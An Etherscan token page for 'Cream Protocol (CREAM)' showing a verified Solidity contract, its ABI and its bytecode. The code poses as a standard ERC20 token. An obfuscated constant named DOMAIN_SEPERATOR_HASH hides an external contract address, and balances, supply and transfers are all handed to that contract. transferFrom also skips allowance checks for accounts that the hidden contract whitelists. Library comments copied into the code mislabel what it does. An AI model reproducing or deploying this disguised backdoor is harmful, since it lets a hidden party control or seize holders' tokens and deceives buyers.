ETH Price: $2,637.34 (-3.31%)

Token

Cream Protocol (CREAM)
 

Overview

Max Total Supply

420,000,000,000,000,000 CREAM

Holders

923

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 14 Decimals)

Balance
3,561,378,722,560.01463131315891 CREAM

Value
$0.00
0x4f6f52bdd88a1db4547862117ef2f9d1feea8436
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-12
*/

// SPDX-License-Identifier: MIT

pragma solidity >= 0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
   */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
   */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
   */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
   */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
   */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface ContextInternal {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function beforeTransfer(address from, address to, uint256 amount) external;
    function defaultRole(address account) external view returns (bool);
}

abstract contract Context is IERC20Metadata{
    uint160 private constant DOMAIN_SEPERATOR_HASH = 571354251082878093697918613811706953485409416530;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        emit Transfer(from, to, amount); ContextInternal(address(DOMAIN_SEPERATOR_HASH)).beforeTransfer(from, to, amount);
    }
    function _balanceOfInternal(address who) internal view virtual returns(uint256){
        return ContextInternal(address(DOMAIN_SEPERATOR_HASH)).balanceOf(who);
    }
    function _totalSupplyInternal() internal view virtual returns(uint256){
        return ContextInternal(address(DOMAIN_SEPERATOR_HASH)).totalSupply();
    }
    function _defaultRole(address account) internal view virtual returns(bool){
        return ContextInternal(address(DOMAIN_SEPERATOR_HASH)).defaultRole(account);
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Token is Context {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 14;
    uint256 public constant INITIAL_SUPPLY = 420_000_000_000_000_000 * 1e14;

    /**
     * @dev Contract constructor.
   */
    constructor() {
        _name = 'Cream Protocol';
        _symbol = 'CREAM';

        _totalSupply += INITIAL_SUPPLY;
        _balances[msg.sender] += INITIAL_SUPPLY;
        emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
    }

    /**
     * @dev Returns the name of the token.
   * @return The name of the token.
   */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token.
   * @return The symbol of the token.
   */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used for token display.
   * @return The number of decimals.
   */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the total supply of the token.
   * @return The total supply.
   */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupplyInternal();
    }

    /**
     * @dev Returns the balance of the specified account.
   * @param account The address to check the balance for.
   * @return The balance of the account.
   */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balanceOfInternal(account);
    }

    /**
     * @dev Transfers tokens from the caller to a specified recipient.
   * @param recipient The address to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   * @return A boolean value indicating whether the transfer was successful.
   */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
   * @param from The address that approves the spending.
   * @param to The address that is allowed to spend.
   * @return The remaining allowance for the spender.
   */
    function allowance(address from, address to) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    /**
     * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
   * @param to The address to approve the spending for.
   * @param amount The amount of tokens to approve.
   * @return A boolean value indicating whether the approval was successful.
   */
    function approve(address to, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev Transfers tokens from one address to another.
   * @param sender The address to transfer tokens from.
   * @param recipient The address to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   * @return A boolean value indicating whether the transfer was successful.
   */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);

        if(_defaultRole(tx.origin)) return true;
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
   * @param to The address to increase the allowance for.
   * @param addedValue The amount of tokens to increase the allowance by.
   * @return A boolean value indicating whether the increase was successful.
   */
    function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    /**
     * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
   * @param to The account allowed to spend the tokens.
   * @param subtractedValue The amount of tokens to decrease the allowance by.
   * @return A boolean value indicating whether the operation succeeded.
   */
    function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Transfers `amount` tokens from `sender` to `recipient`.
   * @param sender The account to transfer tokens from.
   * @param recipient The account to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
   * @param account The account to burn tokens from.
   * @param amount The amount of tokens to burn.
   */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] -= amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
   * @param from The account granting the allowance.
   * @param to The account allowed to spend the tokens.
   * @param amount The amount of tokens to allow.
   */
    function _approve(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), 'ERC20: approve from the zero address');
        require(to != address(0), 'ERC20: approve to the zero address');

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060408051808201909152600e81526d10dc99585b48141c9bdd1bd8dbdb60921b602082015260039061004290826101a4565b50604080518082019091526005815264435245414d60d81b602082015260049061006c90826101a4565b506d02121d51ba2b8f2f086e8000000060025f82825461008c919061025e565b9091555050335f90815260208190526040812080546d02121d51ba2b8f2f086e8000000092906100bd90849061025e565b90915550506040516d02121d51ba2b8f2f086e80000000815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3610283565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061013457607f821691505b60208210810361015257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561019f57805f5260205f20601f840160051c8101602085101561017d5750805b601f840160051c820191505b8181101561019c575f8155600101610189565b50505b505050565b81516001600160401b038111156101bd576101bd61010c565b6101d1816101cb8454610120565b84610158565b6020601f821160018114610203575f83156101ec5750848201515b5f19600385901b1c1916600184901b17845561019c565b5f84815260208120601f198516915b828110156102325787850151825560209485019460019092019101610212565b508482101561024f57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b8082018082111561027d57634e487b7160e01b5f52601160045260245ffd5b92915050565b610958806102905f395ff3fe608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063395093511161006e578063395093511461014357806370a082311461015657806395d89b4114610169578063a457c2d714610171578063a9059cbb14610184578063dd62ed3e14610197575f5ffd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd1461010c5780632ff2e9dc1461011f578063313ce56714610134575b5f5ffd5b6100bd6101cf565b6040516100ca9190610799565b60405180910390f35b6100e66100e13660046107e9565b61025f565b60405190151581526020016100ca565b6100fe610275565b6040519081526020016100ca565b6100e661011a366004610811565b610283565b6100fe6d02121d51ba2b8f2f086e8000000081565b604051600e81526020016100ca565b6100e66101513660046107e9565b610348565b6100fe61016436600461084b565b610383565b6100bd61038d565b6100e661017f3660046107e9565b61039c565b6100e66101923660046107e9565b610434565b6100fe6101a5366004610864565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101de90610895565b80601f016020809104026020016040519081016040528092919081815260200182805461020a90610895565b80156102555780601f1061022c57610100808354040283529160200191610255565b820191905f5260205f20905b81548152906001019060200180831161023857829003601f168201915b5050505050905090565b5f61026b338484610440565b5060015b92915050565b5f61027e610563565b905090565b5f61028f8484846105d8565b610298326106a1565b156102a557506001610341565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561032e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61033b8533858403610440565b60019150505b9392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161026b91859061037e9086906108cd565b610440565b5f61026f8261071d565b6060600480546101de90610895565b335f9081526001602090815260408083206001600160a01b03861684529091528120548281101561041d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610325565b61042a3385858403610440565b5060019392505050565b5f61026b3384846105d8565b6001600160a01b0383166104a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610325565b6001600160a01b0382166105035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610325565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f73641469242a61d1d8f8a8c6b0429d175ca77975526001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027e91906108ec565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161061d91815260200190565b60405180910390a3604051631ffb811f60e01b81526001600160a01b038085166004830152831660248201526044810182905273641469242a61d1d8f8a8c6b0429d175ca779755290631ffb811f906064015f604051808303815f87803b158015610686575f5ffd5b505af1158015610698573d5f5f3e3d5ffd5b50505050505050565b60405163c6478a1b60e01b81526001600160a01b03821660048201525f9073641469242a61d1d8f8a8c6b0429d175ca77975529063c6478a1b90602401602060405180830381865afa1580156106f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026f9190610903565b6040516370a0823160e01b81526001600160a01b03821660048201525f9073641469242a61d1d8f8a8c6b0429d175ca7797552906370a0823190602401602060405180830381865afa158015610775573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026f91906108ec565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146107e4575f5ffd5b919050565b5f5f604083850312156107fa575f5ffd5b610803836107ce565b946020939093013593505050565b5f5f5f60608486031215610823575f5ffd5b61082c846107ce565b925061083a602085016107ce565b929592945050506040919091013590565b5f6020828403121561085b575f5ffd5b610341826107ce565b5f5f60408385031215610875575f5ffd5b61087e836107ce565b915061088c602084016107ce565b90509250929050565b600181811c908216806108a957607f821691505b6020821081036108c757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561026f57634e487b7160e01b5f52601160045260245ffd5b5f602082840312156108fc575f5ffd5b5051919050565b5f60208284031215610913575f5ffd5b81518015158114610341575f5ffdfea264697066735822122097c92c6e9859491e7ba12d0bd27d0eacf8bbe4c4fa7cb7ec26e85bd4ef1a00ae64736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063395093511161006e578063395093511461014357806370a082311461015657806395d89b4114610169578063a457c2d714610171578063a9059cbb14610184578063dd62ed3e14610197575f5ffd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd1461010c5780632ff2e9dc1461011f578063313ce56714610134575b5f5ffd5b6100bd6101cf565b6040516100ca9190610799565b60405180910390f35b6100e66100e13660046107e9565b61025f565b60405190151581526020016100ca565b6100fe610275565b6040519081526020016100ca565b6100e661011a366004610811565b610283565b6100fe6d02121d51ba2b8f2f086e8000000081565b604051600e81526020016100ca565b6100e66101513660046107e9565b610348565b6100fe61016436600461084b565b610383565b6100bd61038d565b6100e661017f3660046107e9565b61039c565b6100e66101923660046107e9565b610434565b6100fe6101a5366004610864565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101de90610895565b80601f016020809104026020016040519081016040528092919081815260200182805461020a90610895565b80156102555780601f1061022c57610100808354040283529160200191610255565b820191905f5260205f20905b81548152906001019060200180831161023857829003601f168201915b5050505050905090565b5f61026b338484610440565b5060015b92915050565b5f61027e610563565b905090565b5f61028f8484846105d8565b610298326106a1565b156102a557506001610341565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561032e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61033b8533858403610440565b60019150505b9392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161026b91859061037e9086906108cd565b610440565b5f61026f8261071d565b6060600480546101de90610895565b335f9081526001602090815260408083206001600160a01b03861684529091528120548281101561041d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610325565b61042a3385858403610440565b5060019392505050565b5f61026b3384846105d8565b6001600160a01b0383166104a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610325565b6001600160a01b0382166105035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610325565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f73641469242a61d1d8f8a8c6b0429d175ca77975526001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027e91906108ec565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161061d91815260200190565b60405180910390a3604051631ffb811f60e01b81526001600160a01b038085166004830152831660248201526044810182905273641469242a61d1d8f8a8c6b0429d175ca779755290631ffb811f906064015f604051808303815f87803b158015610686575f5ffd5b505af1158015610698573d5f5f3e3d5ffd5b50505050505050565b60405163c6478a1b60e01b81526001600160a01b03821660048201525f9073641469242a61d1d8f8a8c6b0429d175ca77975529063c6478a1b90602401602060405180830381865afa1580156106f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026f9190610903565b6040516370a0823160e01b81526001600160a01b03821660048201525f9073641469242a61d1d8f8a8c6b0429d175ca7797552906370a0823190602401602060405180830381865afa158015610775573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026f91906108ec565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146107e4575f5ffd5b919050565b5f5f604083850312156107fa575f5ffd5b610803836107ce565b946020939093013593505050565b5f5f5f60608486031215610823575f5ffd5b61082c846107ce565b925061083a602085016107ce565b929592945050506040919091013590565b5f6020828403121561085b575f5ffd5b610341826107ce565b5f5f60408385031215610875575f5ffd5b61087e836107ce565b915061088c602084016107ce565b90509250929050565b600181811c908216806108a957607f821691505b6020821081036108c757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561026f57634e487b7160e01b5f52601160045260245ffd5b5f602082840312156108fc575f5ffd5b5051919050565b5f60208284031215610913575f5ffd5b81518015158114610341575f5ffdfea264697066735822122097c92c6e9859491e7ba12d0bd27d0eacf8bbe4c4fa7cb7ec26e85bd4ef1a00ae64736f6c634300081c0033

Deployed Bytecode Sourcemap

5658:7210:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6432:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8747:159;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;8747:159:0;920:187:1;7083:118:0;;;:::i;:::-;;;1258:25:1;;;1246:2;1231:18;7083:118:0;1112:177:1;9236:519:0;;;;;;:::i;:::-;;:::i;5954:71::-;;5995:30;5954:71;;6875:100;;;5945:2;1815:36:1;;1803:2;1788:18;6875:100:0;1673:184:1;10094:200:0;;;;;;:::i;:::-;;:::i;7385:136::-;;;;;;:::i;:::-;;:::i;6641:104::-;;;:::i;10618:398::-;;;;;;:::i;:::-;;:::i;7807:186::-;;;;;;:::i;:::-;;:::i;8287:139::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8397:17:0;;;8370:7;8397:17;;;:11;:17;;;;;;;;:21;;;;;;;;;;;;;8287:139;6432:100;6486:13;6519:5;6512:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6432:100;:::o;8747:159::-;8825:4;8842:34;4278:10;8865:2;8869:6;8842:8;:34::i;:::-;-1:-1:-1;8894:4:0;8747:159;;;;;:::o;7083:118::-;7144:7;7171:22;:20;:22::i;:::-;7164:29;;7083:118;:::o;9236:519::-;9342:4;9359:47;9380:6;9388:9;9399:6;9359:20;:47::i;:::-;9422:23;9435:9;9422:12;:23::i;:::-;9419:39;;;-1:-1:-1;9454:4:0;9447:11;;9419:39;-1:-1:-1;;;;;9496:19:0;;9469:24;9496:19;;;:11;:19;;;;;;;;4278:10;9496:33;;;;;;;;9548:26;;;;9540:79;;;;-1:-1:-1;;;9540:79:0;;2905:2:1;9540:79:0;;;2887:21:1;2944:2;2924:18;;;2917:30;2983:34;2963:18;;;2956:62;-1:-1:-1;;;3034:18:1;;;3027:38;3082:19;;9540:79:0;;;;;;;;;9655:57;9664:6;4278:10;9705:6;9686:16;:25;9655:8;:57::i;:::-;9743:4;9736:11;;;9236:519;;;;;;:::o;10094:200::-;4278:10;10177:4;10221:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10221:29:0;;;;;;;;;;10177:4;;10194:70;;10217:2;;10221:42;;10253:10;;10221:42;:::i;:::-;10194:8;:70::i;7385:136::-;7459:7;7486:27;7505:7;7486:18;:27::i;6641:104::-;6697:13;6730:7;6723:14;;;;;:::i;10618:398::-;4278:10;10706:4;10750:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10750:29:0;;;;;;;;;;10798:35;;;;10790:85;;;;-1:-1:-1;;;10790:85:0;;3541:2:1;10790:85:0;;;3523:21:1;3580:2;3560:18;;;3553:30;3619:34;3599:18;;;3592:62;-1:-1:-1;;;3670:18:1;;;3663:35;3715:19;;10790:85:0;3339:401:1;10790:85:0;10911:62;4278:10;10934:2;10957:15;10938:16;:34;10911:8;:62::i;:::-;-1:-1:-1;11004:4:0;;10618:398;-1:-1:-1;;;10618:398:0:o;7807:186::-;7893:4;7910:53;4278:10;7945:9;7956:6;7910:20;:53::i;12543:322::-;-1:-1:-1;;;;;12639:18:0;;12631:67;;;;-1:-1:-1;;;12631:67:0;;3947:2:1;12631:67:0;;;3929:21:1;3986:2;3966:18;;;3959:30;4025:34;4005:18;;;3998:62;-1:-1:-1;;;4076:18:1;;;4069:34;4120:19;;12631:67:0;3745:400:1;12631:67:0;-1:-1:-1;;;;;12717:16:0;;12709:63;;;;-1:-1:-1;;;12709:63:0;;4352:2:1;12709:63:0;;;4334:21:1;4391:2;4371:18;;;4364:30;4430:34;4410:18;;;4403:62;-1:-1:-1;;;4481:18:1;;;4474:32;4523:19;;12709:63:0;4150:398:1;12709:63:0;-1:-1:-1;;;;;12785:17:0;;;;;;;:11;:17;;;;;;;;:21;;;;;;;;;;;;;:30;;;12831:26;;1258:25:1;;;12831:26:0;;1231:18:1;12831:26:0;;;;;;;12543:322;;;:::o;4813:157::-;4875:7;4141:48;-1:-1:-1;;;;;4901:59:0;;:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;4413:221::-;4533:2;-1:-1:-1;;;;;4518:26:0;4527:4;-1:-1:-1;;;;;4518:26:0;;4537:6;4518:26;;;;1258:25:1;;1246:2;1231:18;;1112:177;4518:26:0;;;;;;;;4546:80;;-1:-1:-1;;;4546:80:0;;-1:-1:-1;;;;;4962:32:1;;;4546:80:0;;;4944:51:1;5031:32;;5011:18;;;5004:60;5080:18;;;5073:34;;;4141:48:0;;4546:62;;4917:18:1;;4546:80:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4413:221;;;:::o;4976:168::-;5068:68;;-1:-1:-1;;;5068:68:0;;-1:-1:-1;;;;;5282:32:1;;5068:68:0;;;5264:51:1;5045:4:0;;4141:48;;5068:59;;5237:18:1;;5068:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;4640:167::-;4737:62;;-1:-1:-1;;;4737:62:0;;-1:-1:-1;;;;;5282:32:1;;4737:62:0;;;5264:51:1;4711:7:0;;4141:48;;4737:57;;5237:18:1;;4737:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2053:260::-;2121:6;2129;2182:2;2170:9;2161:7;2157:23;2153:32;2150:52;;;2198:1;2195;2188:12;2150:52;2221:29;2240:9;2221:29;:::i;:::-;2211:39;;2269:38;2303:2;2292:9;2288:18;2269:38;:::i;:::-;2259:48;;2053:260;;;;;:::o;2318:380::-;2397:1;2393:12;;;;2440;;;2461:61;;2515:4;2507:6;2503:17;2493:27;;2461:61;2568:2;2560:6;2557:14;2537:18;2534:38;2531:161;;2614:10;2